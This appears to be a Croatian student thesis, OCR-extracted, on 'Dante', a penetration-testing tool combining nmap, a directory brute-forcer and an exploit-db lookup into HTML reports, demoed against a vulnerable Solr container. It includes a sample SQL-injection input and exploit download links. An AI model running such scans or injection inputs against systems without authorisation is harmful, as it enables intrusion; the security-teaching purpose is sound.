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Sazetak

Kako bih olaksali proces svim penetracijskim testerima, izraden je sustav koji spaja vise
razli¢itih alata u jedan. Nazvali smo ga Dante. Njegova svrha je trazenje otvorenih portova
na sustavima, traZenje ranjivosti za servise koji rade na tim portovima, te generiranju
izvjesca koje ¢e uvelike olaksati proces pisanja sigurnosnog izvje$c¢a. Takoder su izradena i
2 pomo¢na alata koje Dante koristi. Jedan od njih je skener za direktorije na internet
stranicama. U izradi skenera za direktorije fokusirali smo se na brzinu i fleksibilnost. Moze
se koristiti kao zasebni modul a i kao biblioteka. Njega smo nazvali dr.buster. Osim
dr.bustera, izradena je i omotnica oko exploit-db stranice. Posebnost kod toga je da je taj
modul napravljen u jednoj datoteci, tako da smo ga lagano uvezli i koristili u Danteu te je

poseban u formatiranju podataka za generiranje izvjeséa $to je i krajnji rezultat Dantea.
Kljuéne rije€i: Sigurnosno testiranje, sigurnosni alati, sigurnosno izvjesce, Dante

To facilitate the penetration testing process for all penetration testers, we created a system
that combines multiple tools into one. We called it Dante. The aim of this system is to scan
for open ports on the systems, identify the exploits of the daemons working on these ports
and to generate a report that would greatly expedite the process of writing a security report.
Additionally, we created 2 auxiliary tools that Dante uses. One of these tools is a web path
finder. While coding a web path finder, the focus was put on and flexibility. It is functional
as a standalone script or as a library. we called him dr.buster. Besides dr.buster, we also
created an exploit-db wrapper. The special feature of this wrapper is that it is created in a
single file, meaning that we easily imported it and used it with Dante. The wrapper also has

special data formatting suitable for generating reports, which is the end result of Dante.

Keywords: Security testing, Security tools, Security report, Dante
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1. Uvod

Prilikom sigurnosnih testiranja sustava koristimo mnoge alate. KoriStenje svakog alata
pojedina¢no uzima vremena, a vrijeme je presudno u sigurnosnim testiranjima. Ve¢ postoje
neki alati tipa Nessus! koji spajaju vise alata u jedan. No oni imaju puno razli¢itih opcija,
parametara itd. Sustav koji ¢emo izraditi bit ¢e intuitivan i lagan za koristenje penetracijskom
testeru, a davat ¢e potrebnu koli¢inu informacija kako bi penetracijskom testeru omogucio
sazeto 1 korisno izvjesce. On tada moze koristiti to izvjeS¢e na vise nacina. Na primjer, moze
ga Koristiti kao kostur izrade krajnjeg sigurnosnog izvjes¢a. Takoder u izvjes¢u (ako
ranjivosti postoje) bit ¢e linkovi na stranice gdje ¢e se moci preuzeti kdd koji ¢e iskoristavati
te ranjivosti. Ovaj sustav bit ¢e otvorenog kdda, §to znaci da ¢e se moc¢i nadogradivati po
potrebi korisnika. Otvorenog koda bit ¢e i svi moduli koje sustav koristi $to znaci da krajnji

korisnik ima uvid u kompletan kdd sustava, te moze prilagodavati Sto god pozeli.

! https://iwww.tenable.com/products/nessus



2. Usporedba sli¢nih alata

2.1. Usporedba Dantea s Nessusom

Kada bi pogledali korisni¢ko sucelje nekih sli¢nih alata primjerice Nessus vidjeli bi kako je

ono opsirno.
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Credentialed Patch Audit DROWN Detection Host Discovery Intel AMT Security Bypass Internal PCI Network Scan

Malware Scan MDM Con'ig) Mobile Devicﬁ Offline Config Audit PCI Quarterly Ex(emal&
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Policy Compliance Auditing SCAP and OVAL Auditing Shadow Brokers Scan Spectre and Meltdown WannaCry Ransomware

Slika 2.1 Prikaz korisni¢kog sucelja Nessus-a

Iz Slika 2.1 Prikaz korisni¢kog sucelja Nessus-aSlika 2.1 vidimo kako Nessus nudi puno

opcija, no po pitanju brzine pokretanja i stvarnog pocetka procesa testiranja ovakvom alatu
potrebno je vise vremena. Osim toga, potrebno je poznavati to sucelje §to iziskuje dodatan
trud eksperta. Dante se moze pokrenuti odmah nakon preuzimanja i instalacije potrebnih
paketa te je za njegovo pokretanje potrebna samo adresa racunala koje se testira.

keljo@0x41: (master)$ python3 dante.py -h
usage: dante.py [-h] ip

positional arguments:

ip IP address of server you want to test

optional arguments:
-h, --help show this help message and exit

Slika 2.2 Prikaz informacijske poruke Dantea



S obzirom na provedenu usporedbu, vidljivo je kako danasnjim alatima (primjerice Nessus)
nedostaje jednostavnost koristenja i dostupnost usluge (naplata koriStenja alata). lako danas
veé postoje takvi alati oni su ili vrlo kompleksni za koriStenje ili se naplacuju stoga izrada

Dantea upotpunjuje tu kategoriju alata gdje je fokus na jednostavnost i dostupnost usluge.

2.2. Usporedba dr.bustera s dirb

Kada usporedujemo dva skenera za pretragu direktorija na web aplikacijama, najbitnija nam
je stvar brzina. U ovoj usporedbi pokretali smo dirb? i dr.buster s istom listom rije¢i, na istom

racunalu. Rezultati su sljedeci:

Starting Dr.buster..

URL: https://kelj0.com

WORDLIST: wordlist.txt

Starting scan on https://kelj0.com..

Validating url https://keljf.com

Initial GET to see if host is up

[UP] => got 208

Requesting path /aaaabbbb2 to set NOT_FOUND_CODE.

Some sites dont have 404 for not found, but rather retirect to the homepage if path doesnt exist
NOT_FOUND_CODE is 404

Loading words from wordlist.txt

Loaded 56004 words

Detected 4 cores on this system, starting 32 processes
Loading 156 words per process

Scanned 5004 paths in 41.98247027397156 s.

Slika 2.3 Prikaz dr.buster skena adrese https://kelj0.com

2 https://tools.kali.org/web-applications/dirb


https://kelj0.com/

DIRE v2.22
By The Dark Raver

START_TIME: 5un 5ep 13 16:46:56 2020
URL_BASE: https://keljd.com/
WORDLIST_FILES: wordlist.txt

GENERATED WORDS: 5000

==== Scanning URL: https://keljf.com/ ----

END_TIME: 5Sun 5Sep 13 16:51:138 2020
DOWNLOADED: 5000 - FOUND: ©O

Slika 2.4 Prikaz dirb skena adrese https://kelj0.com

1z prikazanih slika vidimo kako je dr.busteru bila potrebna 41 sekunda kako bi napravio sken
adrese. Koristec¢i istu listu rije¢i, isto raunalo te istu adresu dirbov sken trajao je preko 4

minute (to¢nije 262 sekunde). Sto zna¢i da se dr.buster pokazao 6.39 puta efikasnijim.


https://kelj0.com/

3. Osnovna terminologija vezana uz izradu
sigurnosnog sustava za potporu sigurnosnom

testiranju

3.1. Penetracijsko testiranje

Penetracijsko testiranje je proces provjere sigurnosti informacijskog sustava u kojoj ispitiva¢
(eti¢ki haker engl. white hat® hacker) nakon potpisivanja ugovora o neotkrivanju podataka
(engl. non disclosure agreement) glumi napadaca (zlonamjernog hakera engl. black hat*
hacker) kako bi pronasao ranjivosti u sustavu. Nakon obavljene provjere, eti¢ki haker pise
izvjesce koje se dostavlja vlasniku sustava koji tada (ukoliko ho¢e) poduzima potrebne mjere

nadogradnje sustava.

Vazna stvar prije samog testiranja je definiranje opsega (engl. scope) i cilja (engl.
objective)testiranja. To se definira na viSe na¢ina ovisno §to se testira. Na primjer ukoliko se
testiraju uredaji u nekoj unutarnjoj mrezi opseg testiranja moze biti definiran na sljedeéi
nacin:

e Strojevi za testiranje nalaze se u 192.162.1.0/28

e u opseg takoder ulazi Domenski sustav imena - DNS® (engl. Domain Name System)
na adresi 192.162.1.156

Tek nakon definiranja opsega i cilja, te potpisivanja ugovora i NDA® dokumenta, ispitiva¢

moze poceti s testiranjem sustava.

3 https://en.wikipedia.org/wiki/White_hat_(computer_security)
4 https://en.wikipedia.org/wiki/Black_hat_(computer_security)
S https://en.wikipedia.org/wiki/Domain_Name_System

® https://en.wikipedia.org/wiki/Non-disclosure_agreement



Deﬁniraljj;_ . Hociieke restimani Pronalazak i lzvjesce
opsega i cilja enetrac|Isko testiranje iskoristavanje ranjivosti

uz koristenje alata
(port skeneri, skeneri ranjivosti...)

Slika 3.1 Pojednostavljeni prikaz procesa penetracijskog testiranja

3.2. Ranjivosti

Ranjivost je programski propust koji omogucuje korisniku koristenje usluge na nepredviden
na¢in. Zlonamjerni napada¢ mozZe koriStenjem ranjivosti naruSiti sigurnost nekog
informacijskog sustava. NajceS¢e ranjivosti se dogadaju radi ljudske nepaznje. Ranjivosti
mogu biti fizicke, programske, a i psiholoske (socijalni inZenjering, engl. social
engineering’). Danas najpoznatiji sustav koji omoguéuje uvid u javno poznate ranjivosti je

CVE? (engl. Commong Vulnerabilities and Exposures).

Primjer ranjivosti u Python kodu:
c.execute ("SELECT * FROM tablica WHERE stupac = '$s'" $
varijabla)
U ovom kédu mogué je SQL Injection®. Ukoliko varijabla postane ,test OR 1=1-- izlaz
SELECT-a bit ¢e svi redovi ove tablice.
c.execute ('SELECT * FROM tablica WHERE stupac=2?', (varijabla,
))
Na ovaj na¢in smo zastitili kod od SQL Injectiona. Python ¢e u navedenom slucaju pazljivo
raditi SELECT komandu tako da pronade primjerice navodnike, i pripremi ih na poseban

nacin koji ne¢e slomiti upit na bazu.

" https://en.wikipedia.org/wiki/Social_engineering_(security)
8 https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures
® https://en.wikipedia.org/wiki/SQL_injection



3.2.1. Zero-day (0-day)

Zero-day?®, poznat kao 0-day je poseban tip ranjivosti za koji je specifi¢no da jos nije poznat
proizvodacu. Taj tip ranjivosti je najopasniji jer za njega nema zakrpi. Srecom takvi tipovi
su rijetki i ne pronalaze se tako lagano. Ime Zero-day je originalno bilo kori$teno za dane od
kako je novi program izas$ao u javnost, zna¢i zero-day program je program koji je bio preuzet
od strane zlonamjernih hakera neovlastenim provaljivanjem u servere gdje se nalazio kod
programa prije njegova originalnog datuma objavljivanja. Danas se taj termin Kkoristi i kod

ranjivosti, i odnosi se na broj dana koje je proizvodac programa imao da popravi tu ranjivost.

Medu najpoznatijim virusima koji koriste 0-day ranjivosti je Stuxnet, virus pretpostavljeno
napravljen od strane Amerike 1 Izraela kako bi napravili ve¢u Stetu Iranskom nuklearnom
programu?. Stuxnet je koristio ¢ak 4 0-day ranjivosti, $to bi znacilo da je on najkompleksniji

virus napravljen do tada2.

Obrane od 0-day ranjivosti u periodu od kad se sazna do perioda izdavanja zakrpi postoje.
Potrebno je stru¢no znanje racunalnih eksperta da pronadu privremene nafine smanjenja
rizika. Primjerice ako pogledamo Shellshock!? ranjivost, Red Hat je izdao posebna pravila u

vatrozid-u kojima se sprjecava iskoristavanje te ranjivostil4.

3.3. Skeneri

Opéenito pojam ,,skener” u digitalnom svijetu predstavlja neki program cija je svrha
automatiziranim nacinom do¢i do potencijalno vaznih informacija. Danas se najcesce

skeneri programiraju u skriptnim jezicima kao na primjer:

e Python
o Perl?®

e BASH (the Bourne Again Shell)®

10 https://en.wikipedia.org/wiki/Zero-day_(computing)

11 https://en.wikipedia.org/wiki/Stuxnet

12 https://arstechnica.com/tech-policy/2012/06/confirmed-us-israel-created-stuxnet-lost-control-of-it/
13 https://en.wikipedia.org/wiki/Shellshock_(software_bug)

14 https://access.redhat.com/articles/1212303

15 https://en.wikipedia.org/wiki/Perl

16 https://www.gnu.org/software/bash/



https://en.wikipedia.org/wiki/Stuxnet

Postoji puno vrsta skenera no za potrebe izrade ovog sustava bit ¢e potrebno poznavati:

e Port skenere

e Skenere za pretragu direktorija na web aplikacijama

Slika 3.2 Primjer skenera za pretragu direktorija na web aplikacijama (engl. Web path finder) skenera
3.3.1. Port skeneri

Port skener je program namijenjen detektiranju otvorenih portova. Detektira otvorene
portove tako da na primjer $alje minimalni TCP zahtjev na ciljani uredaj i port, te gleda

povratne pakete iz kojih dolazi do informacije o statusu porta.

Najpoznatiji port skener je nmap koji je implementiran uz pomo¢ sljede¢ih programskih

jezikal’:
e Python
° C18
o C++%
o Lua®

17 https://github.com/nmap/nmap

18 https://en.wikipedia.org/wiki/C_(programming_language)
19 https://en.wikipedia.org/wiki/C%2B%2B

20 https://en.wikipedia.org/wiki/Lua_(programming_language)

10


https://github.com/nmap/nmap

keljo@bxd4l:~% nmap 127.0.0.1

S5tarting Nmap 7.70 ( https://nmap.org ) at 2020-88-22 18:32 CEST
Nmap scan report for localhost (127.8.0.1)

Host is up (0.000071s latency).

Mot shown: 998 closed ports

PORT STATE SERVICE
443/tcp open https
962/tcp open iss-realsecure

Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds

Slika 3.3 Primjer nmap skena osobnog racunala

1z slike (Slika 3.3) mozemo vidjeti da je nmap skenirao 1000 najcesce koristenih portova te

je pronasao 2 otvorena porta.

keljo@dx4l:-% sudo lsof -P -i | grep -E "LISTEMN|COMMAND";

COMMAND PID USER FD TYPE DEVICE S5IZE/OFF NODE NAME
vmware-au 983 root lu IPve 22322 6té TCP *:902 (LISTEN)
:902 (LISTEN)

vmware-au 983 root 1lu IPv4 22323 ote TCP *
vmware-ho 1016 root 150 IPv4 24081 6té TCP *:443 (LISTEN)
*

vmware-ho 1016 root 17u IPve 24082 6té TCP *:443 (LISTEN)

Slika 3.4 Prikaz ispisa komande Isof koju prosljedujemo u komandu grep ¢ime izvla¢imo otvorene

portove

Slika 3.4 prikazuje da imamo otvorene portove 902 i 443 $to potvrduje nmap-ov sken.
3.3.2. Skeneri za pretragu direktorija na web aplikacijama

Ova vrsta skenera odnosi se na skenere Cija je glavna namjena traZenje ruta neke web
aplikacije. Jednostavne implementacije se najce$ée rade u skriptnim jezicima dok se
ozbiljnije implementacije takvih skenera rade u C/C++ programskom jeziku radi brzine.
Takvi skeneri najc¢es$ce koriste liste najcesc¢ih rije¢i (engl. wordlists) za provjere ruta web
aplikacije. Najlaksa metoda provjere postoji li neka ruta je dohvacanje statusnog koda iz
zaglavlja odgovora (engl. response header). Ukoliko je statusni kod 404 ili rije¢ima ,,nije
pronadeno® (engl. not found) , mozemo zakljuciti da ta ruta ne postoji ili nam ona nije
dostupna. Neke implementacije web aplikacija koriste statusni kod 404 za rute koje zapravo
trebaju vracati 403 zabranjeno (engl. forbidden). Programeri to rade iz potencijalno

sigurnosnih razloga, no to nije dobra praksa?!.

2L https://en.wikipedia.org/wiki/Security_through_obscurity
11



3.4. lzvla¢enje podataka s interneta (engl. web scraping)

Web scraping je termin koji se koristi kada neki program dohvaca bilo kakve podatke s neke
web stranice. Podaci se mogu izvlaciti iz programskog sucelja (engl. application

programming interface), ali se takoder moze obraditi HTML?? kod stranice.

-,

8

Klijentsko

Server

HTML kbd na kojem je
@ aplikacija
O

& &=
@
Klijentsko
procesuiranje
HTML koda

SIS

spremni podaci
za koristenje

procesuirani podaci

Slika 3.5 Tok ,,web scrapinga"

22 https://en.wikipedia.org/wiki/HTML
12



4. Priprema za implementaciju sustava

Kako ne bi instalirali nepotrebne pakete na sustav domacina (engl. host system) koristit ¢emo
Python virtualno okruzenje. Virtualna okruzenja pruzaju odvojene izvr$ne datoteke (engl.
executables). Takoder moZemo dodavati razne programske biblioteke (engl. library) koji se
instaliraju direktno u nase virtualno okruzenje. Postavljanjem virtualnog okruzenja pruzamo
nasem sustavu uvijek iste verzije alata koji omogucuju stabilnost i pouzdanost pokretanja

sustava.

Za izradu sustava koristit cemo Python verziju 3 ili vise. Uz standardne Python biblioteke

koristit ¢emo takoder i:

e requests®
e Beautiful Soup®*
e python-nmap?®

e Jinja2?

4.1. Komponente sustava

Sustav se sastoji od 4 glavne komponente:

e Skener za direktorije na web aplikaciji
e Port skener
e Generator izvjes¢a

e Jezgra samog sustava (kod koji spaja sve komponente u jedan centralizirani sustav)
4.1.1. Koéd sustava

Glavni dio koda sustava (jezgra samog sustava) je organizirana u jednu datoteku koja uvozi

metode iz biblioteki. Sustav je implementiran da se koristi jedino u terminalu. Kod

2 https://requests.readthedocs.io/en/master/
24 https://crummy.com/software/BeautifulSoup
25 https://xael.org/pages/Python-nmap-en.html
% hitps://jinja.palletsprojects.com/en/2.11.x/
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https://requests.readthedocs.io/en/master/
https://crummy.com/software/BeautifulSoup
https://xael.org/pages/python-nmap-en.html
https://jinja.palletsprojects.com/en/2.11.x/

pokretanja sustav prima samo jedan parametar, a to je IP adresa usluge koju testiramo.
Koriste¢i Python argparse biblioteku, dohva¢amo taj argument kako bi ga koristili dalje u

sustavu.

def main():
p = argparse.ArgumentParser()
p.add_argument(“ip", help="IP address of server you want to test")
if len(sys.argv) != 2:
p.print_help()
sys.exit(1)
a = p.parse_args()

if ':' in a:
print("Provide an IP address without port.. il parse it myself")
a = a.split(":")[0]
print("Continuing with %s" % (a,))

ip = parse_ip(a.1ip)

start_scan(ip)

Slika 4.1 Prikaz main funkcije sustava u kojem se vidi koriStenje argparse biblioteke za dohvacanje

argumenata kod pokretanja sustava

Kod sustava je napravljen na nacin da je svaki korisni¢ki unos pokriven try-catch ili if-else
blokom koda tako da krajnji korisnik ne vidi nikakve iznimke (engl. Exceptions) kod krivog

unosa, ve¢ predefinirane instrukcije kako ispravno unijeti neki podatak.

Za potrebe provjere IP adrese koju je korisnik unio, koristimo inet_aton metodu i error tip

iznimke iz socket biblioteke.

1 from socket import error as WrongIpException
2 from socket import inet_aton as check_ip
Slika 4.2 Prikaz uvoza potrebnih metoda iz biblioteke ,,socket*

Error i inet_aton uvezli smo s posebnim imenima, inet_aton je uvezen kao check_ip, dok je
error uvezen kao WronglpException. Koristili smo ove dvije metode jer nismo morali
implementirati svoje metode provjera IP adrese. Ovakva provjera radi jer metoda inet_aton
baca error iznimku ukoliko primi nevazec¢u IP adresu.

def parse ip(ip):

try:
check_1ip(1ip)

print("ip %s is not valid" % (ip,))
sys.exit(1)
return 1ip

1
2
3
4 except WrongIpException:
5
b
7

Slika 4.3 Prikaz funkcije koja provjerava ispravnost unesene IP adrese
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4.1.2. Pomoc¢ne skripte za laksSu pripremu okruzenja

Koristenje vanjskih (ne standardnih) biblioteka zahtjeva instalaciju istih na na$ sustav ili u
nade virtualno okruZzenje. Kako bi sustav napravili pristupacnijim koristit éemo Makefile?’,
Makefile je datoteka koja u sebi ima niz direktiva koje se mogu pokrenuti jednom
komandom. U nasem slucaju, Makefile ¢e nam omoguciti dohvacanje i instaliranje potrebnih

vanjskih biblioteka jednim pokretanjem Makefile-a.

keljo@0x41: (master)$ make pypack
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (2.21.0)

Requirement already satisfied: bs4 in /home/keljo/.local/lib/python3.7/site-packages (from -r requirements.txt (line 2)) (0.0.1)
Requirement already satisfied: python3-nmap in /home/keljo/.local/lib/python3.7/site-packages (from -r requirements.txt (line 3)) (1.4.8)
Requirement already satisfied: Jinja2 in /home/keljo/.local/lib/python3.7/site-packages (from -r requirements.txt (line 4)) (2.11.2)
Requirement already satisfied: beautifulsoupd in /usr/lib/python3/dist-packages (from bs4->-r requirements.txt (line 2)) (4.7.1)

Slika 4.4 Prikaz pokretanja Makefile-a koriste¢i pypack parametar

Unutar Makefile-a definirali smo pypack na sljede¢i nacin

pypack:

@bash -c "pip3 install -r requirements.txt";

Sto znaéi da pypack izvrsi naredbe putem BASH-a. Konkretno naredbu pip3 install -r

requirements.txt koja tada instalira sve pakete navedene requirements.txt datoteci
4.1.3. Tijek rada sustava

Dante je kompleksni sustav koji koristi razne biblioteke kako bi ispravno funkcionirao. Pruza
vrlo intuitivno i lagano sucelje za krajnjeg korisnika, no razvijanje sustava je kompleksan

proces te je potrebno znanje iz vise dijelova iz podru¢ja ra¢unalnog inzenjerstva.

Kako bi lakSe objasnili proces rada Dantea prikazati ¢emo njegov tijek rada kroz dijagrame

27 hitps://en.wikipedia.org/wiki/Makefile
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$ pvthonJ dante.py 1.1.1.1 : M HTTP server E

e IMAP  POTtS L

: if any port open and !
: nmap managed to :

exploit-db-wrapper

v

b,

o

combine and
prettify reports

dante.report. $timestamp$.html

Slika 4.5 Prikaz dijagrama rada Dantea

Na Slika 4.5 vidimo kako se inicijalno pokretanje Dantea ¢ini vrlo jednostavno. Dante je

potrebno pokrenuti samo s jednim parametrom, a to je IP adresa sustava kojeg testiramo.

Dante prvo krece sa skeniranjem portova, ovisno jesmo li odabrali skeniranje samo top 1000
najCeSée koriStenih portova ili ¢emo skenirati sve portove, Dante pokrece nmap s tim
parametrima.

Nakon skeniranja portova, ukoliko postoje otvoreni portovi na kojima rade HTTP serveri?®
Dante pokrece sken direktorija na tom portu Koriste¢i dr.buster. Paralelno s time Dante
provjerava postoje li kakve ranjivosti za pronadene servise koji posluzuju na tim portovima.

Za navedeno je zaduzen exploit-db-wrapper. Nakon prikupljenog izvjeS¢a dr.bustera i

28 hitps://en.wikipedia.org/wiki/Web_server
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exploit-db-wrapper-a Dante generira finalno izvjesée koriste¢i Jinja pogonski sustav za
razvoj predlozaka (engl. templating engine). Takvo izvjeS¢e mozemo otvoriti putem

omiljenog internet preglednika
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5. Implementacija sustava

Koriste¢i samo jednu datoteku, Dante je i dalje napisan urednim i ¢istim kodom.

Penetracijskom testeru je klju¢no vrijeme, i $to prije odradi testiranje, to prije moze

narucitelju potvrditi da je sustav siguran ili da je potrebno napraviti zakrpe na servisima.

Koristenje jedne datoteke (uz izuzetak koristenja vanjskih biblioteka koje se moraju uvesti)

omogucuje brzo i lagano pokretanje.

5.1. Integracija Python programskog jezika s nmap-om

Programski jezik Python nema uklju¢enu podrsku za nmap u standardnim bibliotekama.

Radi lakse i jednostavnije implementacije ovakvog sustava koristit ¢cemo python-nmap

biblioteku koja nam omogucuje koristenje nmap-a kroz programski kod u Python-u.

Python-nmap nam omogucuje puno funkcionalnosti i fleksibilnosti. Dante koristi

PortScanner objekt iz biblioteke. Detaljnije, Dante koristi metodu scan kako bi zapo¢eo

skeniranje. Skenirati moZe na 2 nacina:

e Najpoznatiji portovi — koristi sljedece opcije kod pokretanja nmap-a

-T4 kako bi nmap koristio 4 dretve za skeniranje
-sV kako bi nmap dohvatio viSe informacija o servisima koji rade na
otvorenim portovima

--version-intensity=1 govori kojim intenzitetom nmap treba skenirati verzije

e Svi portovi

-T4 kako bi nmap koristio 4 dretve za skeniranje

-sV kako bi nmap dohvatio viSe informacija o servisima koji rade na
otvorenim portovima

--version-intensity=1 govori kojim intenzitetom nmap treba skenirati verzije

-p- $to govori nmap-u da skenira sve portove

Dante te rezultate sprema, te ih koristi u daljnjoj obradi.
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5.2. Implementacija skenera za direktorije

Implementacija skenera za direktorije moze biti trivijalna stvar ukoliko koristimo vanjske
biblioteke, no napraviti skener koji radi kvalitetno i brzo bez vanjskih biblioteka zahtjeva

odredenu razinu znanja o programiranju i internetskim protokolima.
Skripta (skener) koju ¢emo mi implementirati naziva se dr.buster.

Dr.busteru su potrebna 2 parametra kada se poziva u samostalnom modu a to su adresa
racunala i put do datoteke koja sadrzi rjecnik za testiranje. Kako bi radio §to je brze moguce
dr.buster prvotno rasporedi odredeni broj rije¢i svakom procesu. Nacin na koji odreduje broj
procesa je sljedeci: Ukoliko je broj jezgri na procesoru na kojem pokre¢emo dr.buster manji
ili jednak od 4 stvaramo 32 nova procesa, a ukoliko je veé¢i od 4 stvaramo 64 novih procesa.
Svaki taj proces onda Salje zasebne zahtjeve za svaku rijec, te javlja status na ekran ukoliko
pronade novu rutu. Takoder, prije samog pokretanja dr.buster provjeri ispravnost dane
adrese tako da je ras¢lani na dijelove definirane u RFC-u 1738%°. Nakon potvrde da je adresa
dobra, dr.buster napravi inicijalni zahtjev kako bi utvrdio radi li ratunalo koju testiramo, te
koji statusni kod vraca ukoliko trazena ruta ne postoji. To radi na nacin da posalje zahtjev
na rutu koja sigurno nece postojati na serveru, zna¢i nasumicni niz znakova te uzima i sprema

statusni kod koji je dobio.

Dr.buster koristi biblioteke socket i ssl kako bi radio HTTP zahtjeve. Najvaznija funkcija u
dr.busteru je get_gode koja ,,tro$i* najvise vremena jer se poziva za svaku rije¢ iz rjecnika.
Ona provjerava radi li HTTPS na serveru ili je HTTP, te sprema to u varijablu. Tu varijablu
kasnije koristi kako bi utvrdila koji tip zahtjeva treba slati, te treba li omotati nas zahtjev
SSL omotnicom. Nakon slanja zahtjeva, prima minimalni broj znakova 12 jer se iz njih

moze i$Citati statusni kod koji je server vratio za taj zahtjev.

Koriste¢i maksimalne optimizacije u kodu ova skripta je u rangu s ostalim skriptama za te
svrhe, no ona je potpuno prilagodena nasem sustavu, te Dante moze maksimalno iskoristiti

dr.busterove sposobnosti.

2 https://tools.ietf.org/html/rfc1738
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5.3. Implementacija omotnice oko exploit-db web stranice

pomocu Pythona

Dobiveni podaci pomoc¢u hmap-a ne znace nam mnogo. Verzije servisa i imena bi morali
sami traziti po internetu, te bi morali traziti postoje li ranjivosti za to. Automatiziranje tog

procesa omoguéio nam je alat imena searchsploit®®. Sluzi kao traZilica za ranjivosti.

Problem kod searchsploit-a je taj da bi morali lokalno imati skinutu cijelu exploit-db bazu.
To znaci da bi prilikom prvog pokretanja Dantea morali napuniti tu veliku bazu i to bi trajalo
dosta vremena. Radi lakseg i brzeg koriStenja naseg sustava implementiran je explot-db-
wrapper. On sluzi kao omotnica oko exploit-db internet stranice. Moze se Koristiti kao

samostalna skripta, ali i kao biblioteka. Za potrebe Dantea koristit ¢emo je kao biblioteku.

Sama implementacija biblioteke svodi se na koriStenje requests biblioteke za uspostavljanje
konekcije i dohvaéanje JSON®! sadrzaja s HTTP servera. Nakon dohvaéanja traZenih
podataka, explot-db-wrapper procesuira te formatira i ovisno koristimo li ga kao biblioteku
ili samostalnu skriptu, podatke ispisuje na ekran ili vra¢a kao rjecnik. Podaci koji se
procesuiraju sastoje se od informacija o servisima, potvrdenim ranjivostima, nepotvrdenim
ranjivostima te linkovima na mjesta gdje se moze preuzeti kod koji iskoristava ranjivost. U
daljnjem kontekstu ,,kdd koji iskoristava ranjivost™ nazivat ¢emo exploit radi jednostavnosti

¢itanja.

30 https://github.com/offensive-security/exploitdb/blob/master/searchsploit
31 https://www.json.org/json-en.html
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(master)s python3 exploit_db_wrapper.py

Authentication Bypass
Llink: https S /www.exploit-db.com/download/311
type: remote
: Multiple

MySQL 4.1.18/5.8.20 - Local/Remote Information Leakage
Link: https://www.exploit-db.com/download/1742
type: remote

: Linux

MySQL 4.1/5.8 - Authentication Bypass
Link: https://www.exploit-db.com/download/24250
! remote
: Multiple

Didn't find any non verified exploits..

Slika 5.1 Prikaz koriStenja explot-db-wrapper-a kao samostalne skripte

Na Slika 5.1 vidimo kako je koristenje explot-db-wrapper-a vrlo intuitivno i lagano.
Potrebno ga je samo pokrenuti i dati mu klju¢nu rije¢ koju treba traziti. Nakon toga on nam
ispisuje pronadene exploit-e u formatu linka, zahvacene verzije, tip exploita i platforma koje

su zahvacene tim exploit-om.

5.4. Implementacija generatora izvjesS¢a

Kad govorimo o izvje$¢ima, govorimo o Sirokom spektru metoda prikaza istih. To moze biti
pdf datoteka, moze biti dokument generiran putem LaTeX-a®, ali moze biti i HTML
datoteka. Pisanje samog HTML-a direktno iz Pythona bi bilo vrlo nezgrapno i nas kod bi

postao vrlo neuredan i tezak za Citanje.

Jednostavno rjesenje je koristiti Jinju®3. Ona nam pruza dinami¢ne nadine gradenja HTML-
a. Primjerice mozemo imati for petlje koje kasnije generiraju listu od N redova.

{% for exploit in exploits['verified'] %}
<ul class="exploits">
<1i>{{ exploit['title'] }}</1li>
<li>type: {{ exploit['type'l }}</1li>

</ul>

32 https://www.latex-project.org/
33 https://jinja.palletsprojects.com/en/2.11.x/
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% endfor %}

Ovaj kod prikazuje jedan dio datoteke template.html koja sadrzi potrebni Jinja kod za
generiranje krajnjeg Dante izvje$¢a. Konkretno ovaj pojednostavljeni dio generira listu
potvrdenih exploit-ova. To znaci da koliko god exploit-ova mi dinami¢ki dobijemo od

exploit-db-wrapper-a, mozemo na ovako lagani nacin generirati HTML kod koji predstavlja

formatirani ispis tog sadrzaja.
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6. Demonstracija rada sustava za potporu

sigurnosnom testiranju

Testiranje Dantea ¢emo provesti u lokalnom okruzenju koriste¢i se kontejnerima. Koristit
¢emo Docker®* kao platformu za stvaranje i pristupanje kontejnerima. U kontejner ¢emo
instalirati ranjivu verziju Apache Solr® platforme. Apache Solr je platforma otvorenog koda

koja pruza trazenje rijeci, indeksiranje, dinamic¢no Klasteriranje...

Ranjivu platformu skinuti ¢emo s Github repozitorija vulnhub-a

¥ master ~  vulhub /solr / CVE-2019-17558 / Go to file Add file =
phithon add cve-2019-17558 Chinese version 12chf5h onJan 21 {9 History

O 1png add manual to cve-2019-17558

[ 2.png add manual to cve-2019-17558

™ README.md add cve-2019-17558 Chinese version

[ README.zh-cn.md add cve-2019-17558 Chinese version

[ docker-compose.yml initial solr cve-2019-17558 7 months ago

README.md

Apache Solr Remote Code Execution Via Velocity Custom
Template (CVE-2019-17558)

AR 3ZRR 2 (Chinese version)

Solr is the popular, blazing-fast, open source enterprise search platform built on Apache Lucene(TM).
Slika 6.1 Prikaz Apache Solr direktorija unutar repozitorija vulnhub-a

Nakon §to smo klonirali repozitorij potrebno je pripremiti i pokrenuti Apache Solr u

kontejner.

34 https://www.docker.com/
35 https://lucene.apache.org/solr/
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keljo@dxd4l: $ sudo docker-compose up -d
Pulling solr (vulhub/solr:8.2.0)...

8.2.08: Pulling from wvulhub/solr

146bd6a88618: Pull complete

9935d0c62ace: Pull complete

db0efb86e806: Pull complete

e705a4c4fd3l: Pull complete

3d3bf7f7e874: Pull complete

57c5c29a2d91: Pull complete

a98049c8ee7f: Pull complete

3bele88c59ca: Pull complete

f8efd2d51056: Pull complete

25e983aecez2b: Pull complete

a86d81b59f74: Pull complete

73842c5c22de: Pull complete

Digest: sha256:93b91260T680b9fdel6BfdcOcbhbacd39372553bc9b5ae3606e3017a9fc563cadl
Status: Downloaded newer image for wvulhub/solr:8.2.0
Creating cve-2019-17558_solr_1 ...

Slika 6.2 Prikaz docker-compose naredbe
Na Slika 6.2 mozemo vidjeti kako se nas kontejner uspjesno izgradio te radi.

keljo@0x41: $ sudo lsof -P -i | grep -E "LISTEN|COMMAND"

COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
docker-pr 9341 root 4u IPv6 949127 0t0 TCP *:8983 (LISTEN)

Slika 6.3 Pokretanje naredbe za pregled otvorenih portova na racunalu

Slika 6.3 potvrdujemo uspjesnu instalaciju i izgradnju Apache Solr-a u kontejner. On sada

radi na portu 8939

6.1. Inicijalno skeniranje ranjivog sustava

Dante pokre¢emo s parametrom 127.0.0.1 Sto predstavlja nasu lokalnu adresu racunala na

